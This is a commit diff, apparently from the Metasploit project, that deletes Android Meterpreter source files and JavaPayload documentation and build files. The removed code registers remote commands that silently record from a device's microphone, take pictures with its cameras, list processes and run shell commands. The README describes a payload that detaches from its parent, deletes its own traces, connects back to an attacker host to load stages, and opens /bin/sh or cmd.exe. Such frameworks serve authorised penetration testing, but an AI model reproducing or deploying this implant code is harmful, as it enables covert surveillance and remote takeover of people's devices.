import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_file;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_getwd;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_ls;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_md5;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_mkdir;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_search;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_separator;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_sha1;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_stat;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_interfaces_V1_4;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_routes_V1_4;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_net_socket_tcp_shutdown_V1_3;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_getuid;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3;
|
||||
|
||||
public class AndroidMeterpreter extends Meterpreter {
|
||||
|
||||
private final Context context;
|
||||
|
||||
public Context getContext() {
|
||||
return context;
|
||||
}
|
||||
|
||||
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Context context, boolean redirectErrors) throws Exception {
|
||||
super(in, rawOut, true, redirectErrors, false);
|
||||
this.context = context;
|
||||
startExecuting();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String[] loadExtension(byte[] data) throws Exception {
|
||||
getCommandManager().resetNewCommands();
|
||||
CommandManager mgr = getCommandManager();
|
||||
Loader.cwd = context.getFilesDir().getAbsoluteFile();
|
||||
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
|
||||
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
|
||||
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
|
||||
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
|
||||
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path_android.class);
|
||||
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
|
||||
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
|
||||
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
|
||||
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
|
||||
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
|
||||
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
|
||||
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class);
|
||||
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
|
||||
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces_V1_4.class);
|
||||
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes_V1_4.class);
|
||||
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown_V1_3.class);
|
||||
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
|
||||
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
|
||||
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute_V1_3.class);
|
||||
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes_android.class);
|
||||
mgr.registerCommand("webcam_audio_record", webcam_audio_record_android.class);
|
||||
mgr.registerCommand("webcam_list", webcam_list_android.class);
|
||||
mgr.registerCommand("webcam_start", webcam_start_android.class);
|
||||
mgr.registerCommand("webcam_stop", webcam_stop_android.class);
|
||||
mgr.registerCommand("webcam_get_frame", webcam_get_frame_android.class);
|
||||
return getCommandManager().getNewCommands();
|
||||
}
|
||||
}
|
||||
|
||||
-10
@@ -1,10 +0,0 @@
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_file_expand_path;
|
||||
|
||||
public class stdapi_fs_file_expand_path_android extends stdapi_fs_file_expand_path {
|
||||
|
||||
protected String getShellPath() {
|
||||
return "sh";
|
||||
}
|
||||
}
|
||||
-46
@@ -1,46 +0,0 @@
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
|
||||
|
||||
public class stdapi_sys_process_get_processes_android implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Process proc = Runtime.getRuntime().exec(new String[] {
|
||||
"sh", "-c", "ps 2>/dev/null"
|
||||
});
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
||||
String line = br.readLine();
|
||||
if (line == null) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
while ((line = br.readLine()) != null) {
|
||||
String[] parts = line.replace('\t', ' ').trim().split(" ");
|
||||
if (parts.length < 2) {
|
||||
continue;
|
||||
}
|
||||
int pid = -1;
|
||||
for (String part : parts) {
|
||||
try {
|
||||
pid = Integer.valueOf(part);
|
||||
} catch (NumberFormatException e) {
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
TLVPacket grp = new TLVPacket();
|
||||
grp.add(TLVType.TLV_TYPE_PID, pid);
|
||||
grp.add(TLVType.TLV_TYPE_USER_NAME, parts[0]);
|
||||
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, parts[parts.length - 1]);
|
||||
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
|
||||
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
-75
@@ -1,75 +0,0 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataOutputStream;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.media.AudioFormat;
|
||||
import android.media.AudioRecord;
|
||||
import android.media.MediaRecorder.AudioSource;
|
||||
import android.util.Log;
|
||||
|
||||
public class webcam_audio_record_android extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int AUDIO_SAMPLE_RATE = 8000;
|
||||
private static final int AUDIO_CHANNEL_CONFIG = AudioFormat.CHANNEL_CONFIGURATION_MONO;
|
||||
private static final int AUDIO_CHANNEL_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
|
||||
private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
AudioRecord recorder = null;
|
||||
|
||||
try {
|
||||
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
|
||||
int bufferSize = AudioRecord.getMinBufferSize(AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING);
|
||||
int fullBuffer = duration * AUDIO_SAMPLE_RATE;
|
||||
if (fullBuffer < bufferSize) {
|
||||
fullBuffer = bufferSize;
|
||||
}
|
||||
|
||||
recorder = new AudioRecord(AudioSource.MIC, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING, fullBuffer);
|
||||
DataOutputStream da = new DataOutputStream(baos);
|
||||
byte[] buffer = new byte[fullBuffer];
|
||||
|
||||
recorder.startRecording();
|
||||
recorder.read(buffer, 0, buffer.length);
|
||||
|
||||
short bSamples = (AUDIO_CHANNEL_ENCODING == AudioFormat.ENCODING_PCM_16BIT) ? 16 : 8;
|
||||
short nChannels = (AUDIO_CHANNEL_CONFIG == AudioFormat.CHANNEL_CONFIGURATION_MONO) ? 1 : 2;
|
||||
da.writeBytes("RIFF");
|
||||
da.writeInt(Integer.reverseBytes(36+fullBuffer));
|
||||
da.writeBytes("WAVE");
|
||||
da.writeBytes("fmt ");
|
||||
da.writeInt(Integer.reverseBytes(16)); // Sub-chunk size, 16 for PCM
|
||||
da.writeShort(Short.reverseBytes((short) 1)); // AudioFormat, 1 for PCM
|
||||
da.writeShort(Short.reverseBytes(nChannels));// Number of channels, 1 for mono, 2 for stereo
|
||||
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE)); // Sample rate
|
||||
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE*bSamples*nChannels/8)); // Byte rate, SampleRate*NumberOfChannels*BitsPerSample/8
|
||||
da.writeShort(Short.reverseBytes((short)(nChannels*bSamples/8))); // Block align, NumberOfChannels*BitsPerSample/8
|
||||
da.writeShort(Short.reverseBytes(bSamples)); // Bits per sample
|
||||
da.writeBytes("data");
|
||||
da.writeInt(Integer.reverseBytes(fullBuffer));
|
||||
da.write(buffer);
|
||||
da.flush();
|
||||
|
||||
} catch (Throwable x) {
|
||||
Log.e(webcam_audio_record_android.class.getSimpleName(), "Error reading voice audio ", x);
|
||||
} finally {
|
||||
if (recorder != null) {
|
||||
recorder.stop();
|
||||
recorder.release();
|
||||
}
|
||||
}
|
||||
response.add(TLV_TYPE_AUDIO_DATA, baos.toByteArray());
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
-59
@@ -1,59 +0,0 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import android.graphics.PixelFormat;
|
||||
import android.hardware.Camera;
|
||||
import android.hardware.Camera.Parameters;
|
||||
import android.hardware.Camera.PictureCallback;
|
||||
import android.util.Log;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
public class webcam_get_frame_android extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_WEBCAM_IMAGE = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 1);
|
||||
private static final int TLV_TYPE_WEBCAM_QUALITY = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 3);
|
||||
|
||||
private byte[] cameraData;
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
|
||||
|
||||
try {
|
||||
if (webcam_start_android.camera == null) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
|
||||
cameraData = null;
|
||||
//Parameters params = webcam_start_android.camera.getParameters();
|
||||
//params.setPictureFormat(PixelFormat.JPEG);
|
||||
//params.set("jpeg-quality", quality);
|
||||
webcam_start_android.camera.takePicture(null, null, new PictureCallback() {
|
||||
@Override
|
||||
public void onPictureTaken(byte[] data, Camera camera) {
|
||||
cameraData = data;
|
||||
synchronized (webcam_get_frame_android.this) {
|
||||
webcam_get_frame_android.this.notify();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
synchronized (this) {
|
||||
wait(10000);
|
||||
}
|
||||
|
||||
if (cameraData != null) {
|
||||
response.add(TLV_TYPE_WEBCAM_IMAGE, cameraData);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
Log.e(getClass().getSimpleName(), "webcam error ", e);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
-58
@@ -1,58 +0,0 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.util.Log;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
public class webcam_list_android extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_WEBCAM_NAME = TLVPacket.TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4);
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
try {
|
||||
Class<?> cameraClass = Class.forName("android.hardware.Camera");
|
||||
Object cameraInfo = null;
|
||||
Field field = null;
|
||||
int cameraCount = 0;
|
||||
try {
|
||||
Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
|
||||
cameraCount = (Integer)getNumberOfCamerasMethod.invoke(null, (Object[])null);
|
||||
} catch (NoSuchMethodException nsme) {
|
||||
response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
Class<?> cameraInfoClass = Class.forName("android.hardware.Camera$CameraInfo");
|
||||
if (cameraInfoClass != null) {
|
||||
cameraInfo = cameraInfoClass.newInstance();
|
||||
}
|
||||
if (cameraInfo != null) {
|
||||
field = cameraInfo.getClass().getField("facing");
|
||||
}
|
||||
Method getCameraInfoMethod = cameraClass.getMethod("getCameraInfo", Integer.TYPE, cameraInfoClass);
|
||||
if (getCameraInfoMethod != null && cameraInfoClass != null && field != null) {
|
||||
for (int camIdx = 0; camIdx < cameraCount; camIdx++) {
|
||||
getCameraInfoMethod.invoke(null, camIdx, cameraInfo);
|
||||
int facing = field.getInt(cameraInfo);
|
||||
if (facing == 1) { // Camera.CameraInfo.CAMERA_FACING_FRONT
|
||||
response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Front Camera");
|
||||
} else {
|
||||
response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Back Camera");
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
Log.e(getClass().getSimpleName(), "webcam error ", e);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
-42
@@ -1,42 +0,0 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.hardware.Camera;
|
||||
import android.util.Log;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
public class webcam_start_android extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_WEBCAM_INTERFACE_ID = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2);
|
||||
|
||||
public static Camera camera;
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
int camId = request.getIntValue(TLV_TYPE_WEBCAM_INTERFACE_ID);
|
||||
|
||||
try {
|
||||
Class<?> cameraClass = Class.forName("android.hardware.Camera");
|
||||
Method cameraOpenMethod = cameraClass.getMethod("open", Integer.TYPE);
|
||||
if (cameraOpenMethod != null) {
|
||||
camera = (Camera)cameraOpenMethod.invoke(null, camId - 1);
|
||||
} else {
|
||||
camera = Camera.open();
|
||||
}
|
||||
camera.setPreviewDisplay(null);
|
||||
camera.startPreview();
|
||||
|
||||
} catch (Exception e) {
|
||||
Log.e(getClass().getSimpleName(), "webcam error ", e);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
-28
@@ -1,28 +0,0 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.util.Log;
|
||||
|
||||
public class webcam_stop_android extends webcam_audio_record implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
try {
|
||||
if (webcam_start_android.camera != null) {
|
||||
webcam_start_android.camera.stopPreview();
|
||||
webcam_start_android.camera.release();
|
||||
webcam_start_android.camera = null;
|
||||
}
|
||||
|
||||
} catch (Exception e) {
|
||||
Log.e(getClass().getSimpleName(), "webcam error ", e);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
-198
@@ -1,198 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<style type="text/css">
|
||||
body {
|
||||
font-family: Verdana, Arial, sans-serif;
|
||||
font-size: 10pt;
|
||||
}
|
||||
|
||||
p {
|
||||
margin-left: 2em;
|
||||
margin-right: 2em;
|
||||
}
|
||||
</style>
|
||||
<title>JavaPayload4Metasploit - Single payload loader class to
|
||||
be used in the Metasploit project</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>JavaPayload4Metasploit - Single payload loader class to be used
|
||||
in the Metasploit project</h1>
|
||||
|
||||
<p><i>© 2010 Michael 'mihi' Schierl, <tt><schierlm
|
||||
at users dot sourceforge dot net></tt></i></p>
|
||||
|
||||
<h2>Introduction</h2>
|
||||
|
||||
<p>The <a href="http://schierlm.users.sourceforge.net/JavaPayload/">JavaPayload</a>s
|
||||
contain useful payloads written in pure Java. But they assume that the
|
||||
attacker has a Java VM on his machine, as the the builders and stage
|
||||
handlers are written in Java. In addition, when creating a new payload
|
||||
class that should reside in a signed jar, the jar has to be re-signed as
|
||||
classes have changed.</p>
|
||||
|
||||
<p>In contrast, this package contains a single <i>metasploit.Payload</i>
|
||||
class which is configured by a property file in the classpath (i. e. in
|
||||
the same jar). As it is possible to add unsigned resources to a jar
|
||||
without requiring to re-sign it, and as it is easy to manipulate zip/jar
|
||||
files from Ruby, this makes it possible to leverage the powers of
|
||||
JavaPayload from Metasploit which is written in Ruby and not in Java.</p>
|
||||
|
||||
<h2>System requirements</h2>
|
||||
|
||||
<p>Same as JavaPayload. JRE 1.2 on the victim machine is enough <tt>:-)</tt></p>
|
||||
|
||||
<p>On the attacker machine, no Java at all is required.</p>
|
||||
|
||||
<h2>How to use the <i>Payload</i> class.</h2>
|
||||
|
||||
<p>The <i>Payload</i> class is
|
||||
a standard java main class (i. e. it has a <tt>public
|
||||
static void main(String[])</tt> method), so the most obvious way to invoke it
|
||||
is putting it into a Jar file whose manifest's <tt>Main-Class</tt>
|
||||
attribute is <tt>metasploit.Payload</tt>. The resuling jar can be
|
||||
started using <tt>java -jar jarfile.jar</tt>. There are 3 example jars
|
||||
available that use this technique; they are described later.</p>
|
||||
|
||||
<p>Alternatively, the main class can of course be called from other
|
||||
classes, like <tt>metasploit.Payload.main(null);</tt>, as the arguments
|
||||
parameter is ignored. Note that in a sandboxed environment the caller
|
||||
needs to have all permissions, and also the <i>Payload</i> class has to
|
||||
be loaded with all permissions. In case there is untrusted code on the
|
||||
stack trace (but the direct caller has all permissions), the call has to
|
||||
be wrapped in a <a
|
||||
href="http://download.oracle.com/javase/1.4.2/docs/api/java/security/AccessController.html#doPrivileged(java.security.PrivilegedExceptionAction)">doPrivileged</a>
|
||||
call (like it is done in the several well known public exploits for
|
||||
CVE-2008-5353).</p>
|
||||
|
||||
<p>Once loaded, the class will lookup a file called <tt>/metasploit.dat</tt>
|
||||
from the class path and load it as a <a
|
||||
href="http://download.oracle.com/javase/1.4.2/docs/api/java/util/Properties.html#load(java.io.InputStream)">Property
|
||||
file</a> (basically a text file with <tt>Name=value</tt> lines, but note
|
||||
that some special characters need escaping). If the file cannot be
|
||||
found, default values are used.</p>
|
||||
|
||||
<p>Depending on the property values (see below), the class will then
|
||||
optionally write itself to disk and spawn a sub-process (once or several
|
||||
times) to disconnect the payload from the calling process. All temporary
|
||||
files will be deleted afterwards. (Even on Windows it is possible to
|
||||
delete a running class file as technically, not the class file but the
|
||||
Java VM is running).</p>
|
||||
|
||||
<p>After that, it will either listen on a port and accept a socket,
|
||||
connect to an URL (using a protocol like HTTP or HTTPS),
|
||||
create an active socket connection, or (for debugging purposes) just
|
||||
uses standard input and standard output; in any case, the resulting
|
||||
input/output streams are used for the staging</p>
|
||||
|
||||
<p>Once the stage is loaded, the streams are handed to the stage.
|
||||
Stages may require optional parameters (a string) which can be given
|
||||
in the property file.</p>
|
||||
|
||||
<p>When the stage quits, the payload class terminates and cleans up
|
||||
after itself if needed.</p>
|
||||
|
||||
<h2>Supported properties (and their default values)</h2>
|
||||
|
||||
<h3><tt>Spawn</tt>(<tt>=0</tt>)</h3>
|
||||
|
||||
<p>The number of java processes that should be spawned. <tt>0</tt>
|
||||
will run the payload inside the original process, <tt>1</tt> will spawn
|
||||
once (to continue running when the original process terminates), and <tt>2</tt>
|
||||
will spawn twice (on certain popular operating systems it is impossible
|
||||
to obtain parent process informaion if the parent process has already
|
||||
died).</p>
|
||||
|
||||
<h3><tt>Executable</tt>(<tt>=</tt>)</h3>
|
||||
|
||||
<p>Points to an executable in the class path (next to
|
||||
metasploit.dat), which will be extracted to a temporary directory (with
|
||||
original filename), made executable (if needed by the OS) and executed.
|
||||
When this option is present, no staging will be performed and all
|
||||
options documented below are ignored.</p>
|
||||
|
||||
<h3><tt>StageParameters</tt>(<tt>=</tt>)</h3>
|
||||
|
||||
<p>Additional parameters to be used by the stage, regardless whether
|
||||
it was embedded or not. Only few stages support/require parameters.</p>
|
||||
|
||||
<h3><tt>URL</tt>(<tt>=</tt>)</h3>
|
||||
|
||||
<p>Load the stage from this URL. The URL will be requested and the
|
||||
resulting stream will be used for loading the stage classes from.
|
||||
As the stage's output stream will discard all input, this is only
|
||||
useful with stages (like Meterpreter) that can communicate via
|
||||
some other means back to the attacker.</p>
|
||||
|
||||
<p><b>Note: </b>If this option is given, LHOST and LPORT are ignored.</p>
|
||||
|
||||
<h3><tt>LPORT</tt>(<tt>=4444</tt>)</h3>
|
||||
|
||||
<p>Port to listen on or to connect to (if <tt>LHOST</tt> is also
|
||||
set). If explicitly set to <tt>0</tt>, no connection will be made, but
|
||||
standard input/output streams will be used instead.</p>
|
||||
|
||||
<h3><tt>LHOST</tt>(<tt>=<a></a></tt>)</h3>
|
||||
|
||||
<p>Host to connect to. If not set, the payload will listen instead.</p>
|
||||
|
||||
<h2>Staging protocol</h2>
|
||||
|
||||
<p>The staging protocol is quite simple. All classes are sent
|
||||
uncompressed (as they are inside the .jar file). Each class is prefixed
|
||||
by a 32-bit big-endian size. After the last class, a size of 0 is sent.
|
||||
The classes will be defined in the order they are sent (i. e. they can
|
||||
only refer to classes defined before), and the last sent class will be
|
||||
loaded as a stage.</p>
|
||||
|
||||
<p>In case of an embedded stage, no staging is used - the stream is
|
||||
directly passed to the stage.</p>
|
||||
|
||||
<h2>Supported stages (in alphabetical order)</h2>
|
||||
|
||||
<p>The stages are original <a
|
||||
href="http://schierlm.users.sourceforge.net/JavaPayload/">JavaPayload</a>
|
||||
stages to make updates easier. All stages listed here can be used
|
||||
without special "Java" tricks (like serialization or JDWP protocol), to
|
||||
easily use them from Ruby.</p>
|
||||
|
||||
<h3><tt>Meterpreter</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage,
|
||||
com.metasploit.meterpreter.MemoryBufferURLConnection,
|
||||
com.metasploit.meterpreter.MemoryBufferURLStreamHandler,
|
||||
javapayload.stage.Meterpreter</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd>Optional parameter <tt>NoRedirect</tt> for debugging.</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>Meterpreter protocol</dd>
|
||||
</dl>
|
||||
|
||||
<p>Loader to load the Java version of Metasploit's own
|
||||
post-exploitation toolkit.</p>
|
||||
|
||||
<h3><tt>Shell</tt></h3>
|
||||
<dl>
|
||||
<dt><b>Stage classes</b></dt>
|
||||
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
|
||||
javapayload.stage.Shell</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Parameters</b></dt>
|
||||
<dd>Not supported</dd>
|
||||
</dl>
|
||||
<dl>
|
||||
<dt><b>Stage protocol</b></dt>
|
||||
<dd>Plain text</dd>
|
||||
</dl>
|
||||
|
||||
<p>This stager loads /bin/sh on Unix systems and cmd.exe on Windows
|
||||
systems, and else just behaves like the <tt>Exec</tt> stage.</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
-144
@@ -1,144 +0,0 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-JavaPayload</artifactId>
|
||||
<parent>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-JavaPayload-parent</artifactId>
|
||||
<version>1-SNAPSHOT</version>
|
||||
</parent>
|
||||
<packaging>jar</packaging>
|
||||
<name>JavaPayload for Metasploit</name>
|
||||
<url>http://www.metasploit.com/</url>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>javax.servlet</groupId>
|
||||
<artifactId>servlet-api</artifactId>
|
||||
<version>2.2</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<profiles>
|
||||
<profile>
|
||||
<!-- deploy built files to Metasploit data directory -->
|
||||
<id>deploy</id>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<artifactId>maven-antrun-plugin</artifactId>
|
||||
<version>1.7</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>run</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<target>
|
||||
<copy todir="${project.basedir}/../../../../data/java">
|
||||
<fileset dir="${project.basedir}/target/classes">
|
||||
<exclude name="metasploit/PayloadApplet.class" />
|
||||
<exclude name="rmi/**" />
|
||||
<exclude name="metasploit.dat" />
|
||||
</fileset>
|
||||
</copy>
|
||||
</target>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
<profile>
|
||||
<!-- build example JARs -->
|
||||
<id>examples</id>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<artifactId>maven-antrun-plugin</artifactId>
|
||||
<version>1.7</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>run</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<target>
|
||||
<!-- example: spawning bind -->
|
||||
<propertyfile file="${project.basedir}/target/classes/metasploit.dat">
|
||||
<entry key="Spawn" value="2" />
|
||||
<entry key="LPORT" value="5555" />
|
||||
</propertyfile>
|
||||
<jar destfile="${project.basedir}/example-spawn-bind.jar">
|
||||
<manifest>
|
||||
<attribute name="Main-Class" value="metasploit.Payload" />
|
||||
</manifest>
|
||||
<fileset dir="${project.basedir}/target/classes">
|
||||
<include name="metasploit/Payload.class" />
|
||||
<include name="metasploit.dat" />
|
||||
</fileset>
|
||||
</jar>
|
||||
<delete file="${project.basedir}/target/classes/metasploit.dat" />
|
||||
</target>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
<profile>
|
||||
<!-- build dummy jar used for capturing communication and for testing RMI injection -->
|
||||
<id>buildrmi</id>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<artifactId>maven-antrun-plugin</artifactId>
|
||||
<version>1.7</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>run</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<target>
|
||||
<propertyfile file="${project.basedir}/target/classes/metasploit.dat">
|
||||
<entry key="LPORT" value="4444" />
|
||||
<entry key="LHOST" value="127.0.0.1" />
|
||||
</propertyfile>
|
||||
<mkdir dir="${project.basedir}/target/rmi/build" />
|
||||
